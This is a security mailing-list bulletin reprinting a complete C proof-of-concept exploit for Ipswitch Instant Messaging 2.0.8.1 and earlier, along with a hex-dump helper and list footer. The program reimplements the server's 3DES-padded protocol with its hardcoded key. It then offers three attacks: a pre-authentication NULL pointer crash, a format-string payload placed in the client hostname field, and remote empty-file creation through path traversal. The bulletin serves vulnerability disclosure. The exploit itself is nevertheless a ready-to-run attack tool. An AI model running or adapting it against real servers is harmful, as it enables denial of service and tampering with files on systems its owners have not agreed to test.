    Copyright 2008 Luigi Auriemma - http://aluigi.org/poc/ipsimene.zip

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "des.h"
#include "show_dump.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER         "0.1"
#define PORT        5177
#define BUFFSZ      0xffff
#define IPIM_DESKEY "ipswitch\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"



#define padxx(X,Y) p += putxx(p, X, Y); p += padda(p, p - buff);
int conna(struct sockaddr_in *peer);
int lame_im_recv(int sd, des3_context *ctx, u8 *buff);
int fgetz(u8 *data, int size, FILE *fd);
void desuca(des3_context *ctx, u8 *data, int len);
int tcp_recv(int sd, u8 *buff, int len);
int padda(u8 *data, int pos);
int putsn(u8 *data, u8 *str);
int putsp(u8 *data, u8 *str);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    des3_context    cli,
                    srv;
    struct  sockaddr_in peer;
    int     sd,
            i,
            len,
            myid,
            attack;
    u16     port        = PORT,
            myport      = PORT + 1;
    u8      username[128],
            password[128],
            recipient[128],
            myhost[128],
            *message    = "hello",
            *userhost   = NULL,
            *buff,
            *host,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Ipswitch Instant Messaging <= 2.0.8.1 multiple vulnerabilities 
"VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = pre-auth NULL pointer crash in decryption function\n"
            " 2 = format string in logging\n"
            " 3 = arbitrary empty files creation\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);
    if((attack < 1) || (attack > 3)) {
        printf("\nError: wrong attack number (%s)\n", argv[1]);
        exit(1);
    }
    host = argv[2];

    if(argc > 3) port = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    if(attack != 1) {
        printf("- insert your username (only it without @host): ");
        fgetz(username, sizeof(username), stdin);
        userhost = malloc(strlen(username) + 1 + strlen(host) + 1);
        sprintf(userhost, "%s@%s", username, host);

        printf("- insert your password: ");
        fgetz(password, sizeof(password), stdin);

        strcpy(myhost, "127.0.0.1");    // the server trusts the host:port 
told by the user!
        recipient[0] = 0;

        if(attack == 2) {
            strcpy(myhost, "format_string_%s%n%n%n%s%s%s%s%s%n%n%n");
        } else if(attack == 3) {
            printf(
                "- insert the name of the empty file you want to create 
remotely\n"
                "  (for example ..\\..\\..\\windows\\hello.txt): ");
            fgetz(recipient, sizeof(recipient) - 1, stdin); // -1 is 
needed here for ':'
            printf("- added the ':' char for arbitrary file creation\n");
            strcat(recipient, ":");
        }
    }

    sd = conna(&peer);

        // the IpSwitch IM one is the most ugly protocol I have ever seen, 
everything is padded to 8 bytes for the 3DES encryption!
        // and I'm so mad to have written this PoC which emulates it 8-)

    if(attack == 1) {
        p = buff;
        p += putxx(p, 7,        32);    // type, not important
        p += putxx(p, 0,        32);
        p += putxx(p, 1,        32);    // must be != 0
        p += putxx(p, 0,        32);
        p += putxx(p, 0,        32);
        p += putxx(p, 0,        32);
        p += putxx(p, 0,        32);

        printf("- send malformed packet\n");
        send(sd, buff, p - buff, 0);

        for(;;) {
            if(timeout(sd, 5) < 0) break;
            len = recv(sd, buff, BUFFSZ, 0);
            if(len <= 0) break;
        }
        goto quit;
    }

    des3_set3key_enc(&cli, IPIM_DESKEY);
    des3_set3key_dec(&srv, IPIM_DESKEY);

    p = buff;
    p += putxx(p, 7,            32);        // type
    p += putxx(p, 1,            32);        // encryption type?
    send(sd, buff, p - buff, 0);

    p = buff;
    padxx(1,                    32);        // type
    padxx(11,                   32);        // header size
    padxx(0,                    32);        // data size
    padxx(0,                    32);        // data size - 4
    p += putsn(p, userhost);                // username@host
    p += putsn(p, password);                // password
    p += putxx(p, 0,            32);        // ???
    p += putsn(p, myhost);                  // client hostname
    p += putxx(p, myport,       32);        // client port
    putxx(buff + 16, p - (buff + 28), 32);
    putxx(buff + 24, p - (buff + 32), 32);

    printf("- send login packet\n");
    p += padda(p, p - buff);
    desuca(&cli, buff, p - buff);
    send(sd, buff, p - buff, 0);

    if(lame_im_recv(sd, &srv, buff) < 0) goto quit;
    getxx(buff, &myid, 32);
    if(myid) goto quit; // error message

    getxx(buff + 8, &myid, 32);
    printf("- your ID is %d\n", myid);

    if(attack == 2) {
        printf("\n"
            "- now you have two choices:\n"
            "  - press RETURN, take the IM client, login with a different 
account (so don't\n"
            "    use %s), add %s to your Personal Contact and send a 
messagge to him\n"
            "  - type the name of another user online and this tool will 
send a \"%s\"\n"
            "    message to him so when he will reply will exploit the 
vulnerability too\n"
            "- insert the name of the user to who you want to send the 
message or press\n"
            "  RETURN to quit: ", username, username, message);
        fgetz(recipient, sizeof(recipient), stdin);
        if(!recipient[0]) goto quit;
    }

    close(sd);  // by default IP IM doesn't use the persistent connections
    sleep(ONESEC);
    sd = conna(&peer);

    p = buff;
    p += putxx(p, 7,            32);
    p += putxx(p, 1,            32);
    send(sd, buff, p - buff, 0);

    p = buff;
    padxx(3,                    32);
    padxx(myid,                 32);
    memset(p, 0, 56);
    p += 56;

    for(i = 2; i >= 1; i--) {
        padxx(1,                32);
        p += putsp(p, "_displayname");
        p += putsp(p, username);
        padxx(-1,               32);
        padxx(-1,               32);
        padxx(0,                32);
        p += putsp(p, "Online");
        padxx(0,                32);
        p += putsp(p, username);
        p += putsp(p, host);
        padxx(-1,               32);
        padxx(myport,           16);
        padxx(port,             16);
        padxx(i,                32);
    }

    p += putsp(p, "_displayname");
    p += putsp(p, recipient);
    padxx(10000,                32);
    padxx(10008,                32);
    padxx(1,                    32);
    p += putsp(p, "Online");
    padxx(0,                    32);
    p += putsp(p, recipient);
    p += putsp(p, host);
    padxx(-1,                   32);
    padxx(myport,               16);
    padxx(port,                 16);
    padxx(1,                    32);
    padxx(1,                    32);
    padxx(0,                    32);
    p += putsp(p, message);

    printf("- send message packet\n");
    p += padda(p, p - buff);
    desuca(&cli, buff, p - buff);
    send(sd, buff, p - buff, 0);

    if(lame_im_recv(sd, &srv, buff) < 0) goto quit;

quit:
    printf("- finished\n");
    close(sd);
    free(buff);
    return(0);
}



int conna(struct sockaddr_in *peer) {
    int     sd;

    printf("- connect...");
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
      < 0) std_err();
    printf("ok\n");
    return(sd);
}



int lame_im_recv(int sd, des3_context *ctx, u8 *buff) {
    int     len,
            t;

    printf("- receive and visualize incoming data:\n";);
    if(tcp_recv(sd, buff, 8) != 8) return(-1);    // version

    for(len = 0; len < BUFFSZ; len += t) {
        if(timeout(sd, 5) < 0) break;
        t = recv(sd, buff + len, BUFFSZ - len, 0);
        if(t <= 0) break;
    }
    desuca(ctx, buff, len);
    show_dump(buff, len, stdout);
    return(0);
}



int fgetz(u8 *data, int size, FILE *fd) {
    u8      *p;

    fgets(data, size, fd);
    for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
    *p = 0;
    return(p - data);
}



void desuca(des3_context *ctx, u8 *data, int len) {
    for(len >>= 3; len; len--) {
        des3_crypt_ecb(ctx, data, data);
        data += 8;
    }
}



int tcp_recv(int sd, u8 *buff, int len) {
    int     t,
            ret;

    for(ret = 0; ret < len; ret += t) {
        if(timeout(sd, 5) < 0) break;
        t = recv(sd, buff + ret, len - ret, 0);
        if(t <= 0) break;
    }
    return(ret);
}



int padda(u8 *data, int pos) {
    pos = ((pos + 7) & (~7)) - pos;
    if(data) memset(data, 0, pos);
    return(pos);
}



int putsn(u8 *data, u8 *str) {
    int     len;

    len = strlen(str) + 1;
    putxx(data, len, 32);
    memcpy(data + 4, str, len);
    return(4 + len);
}



int putsp(u8 *data, u8 *str) {  // as above but with padded stuff
    int     len;
    u8      *p;

    len = strlen(str) + 1;
    p = data;
    p += putxx(p, len, 32);
    p += padda(p, p - data);
    memcpy(p, str, len);
    p += len;
    p += padda(p, p - data);
    return(p - data);
}



int getxx(u8 *data, u32 *ret, int bits) {
    u32     num;
    int     i,
            bytes;

    bytes = bits >> 3;
    for(num = i = 0; i < bytes; i++) {
        num |= (data[i] << ((bytes - 1 - i) << 3));
    }
    *ret = num;
    return(bytes);
}



int putxx(u8 *data, u32 num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;
    for(i = 0; i < bytes; i++) {
        data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
    }
    return(bytes);
}



int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}



u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


show_dump.h
/*

Show_dump 0.1.1a

    Copyright 2004,2005,2006 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt

This function, optimized for performace, shows the hex dump of a buffer 
and
places it in a stream

Usage:
        show_dump(buffer, buffer_length, stdout);
        show_dump(buffer, buffer_length, fd);
*/

#include <string.h>



void show_dump(unsigned char *data, unsigned int len, FILE *stream) {
    const static char       hex[] = "0123456789abcdef";
    static unsigned char    buff[67];   /* HEX  CHAR\n */
    unsigned char           chr,
                            *bytes,
                            *p,
                            *limit,
                            *glimit = data + len;

    memset(buff + 2, ' ', 48);

    while(data < glimit) {
        limit = data + 16;
        if(limit > glimit) {
            limit = glimit;
            memset(buff, ' ', 48);
        }

        p     = buff;
        bytes = p + 50;
        while(data < limit) {
            chr = *data;
            *p++ = hex[chr >> 4];
            *p++ = hex[chr & 15];
            p++;
            *bytes++ = ((chr < ' ') || (chr >= 0x7f)) ? '.' : chr;
            data++;
        }
        *bytes++ = '\n';

        fwrite(buff, bytes - buff, 1, stream);
    }
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/ipsimene-adv.txt> 
http://aluigi.altervista.org/adv/ipsimene-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Ipswitch Instant Messaging Multiple Vulnerabilities, SecuriTeam <=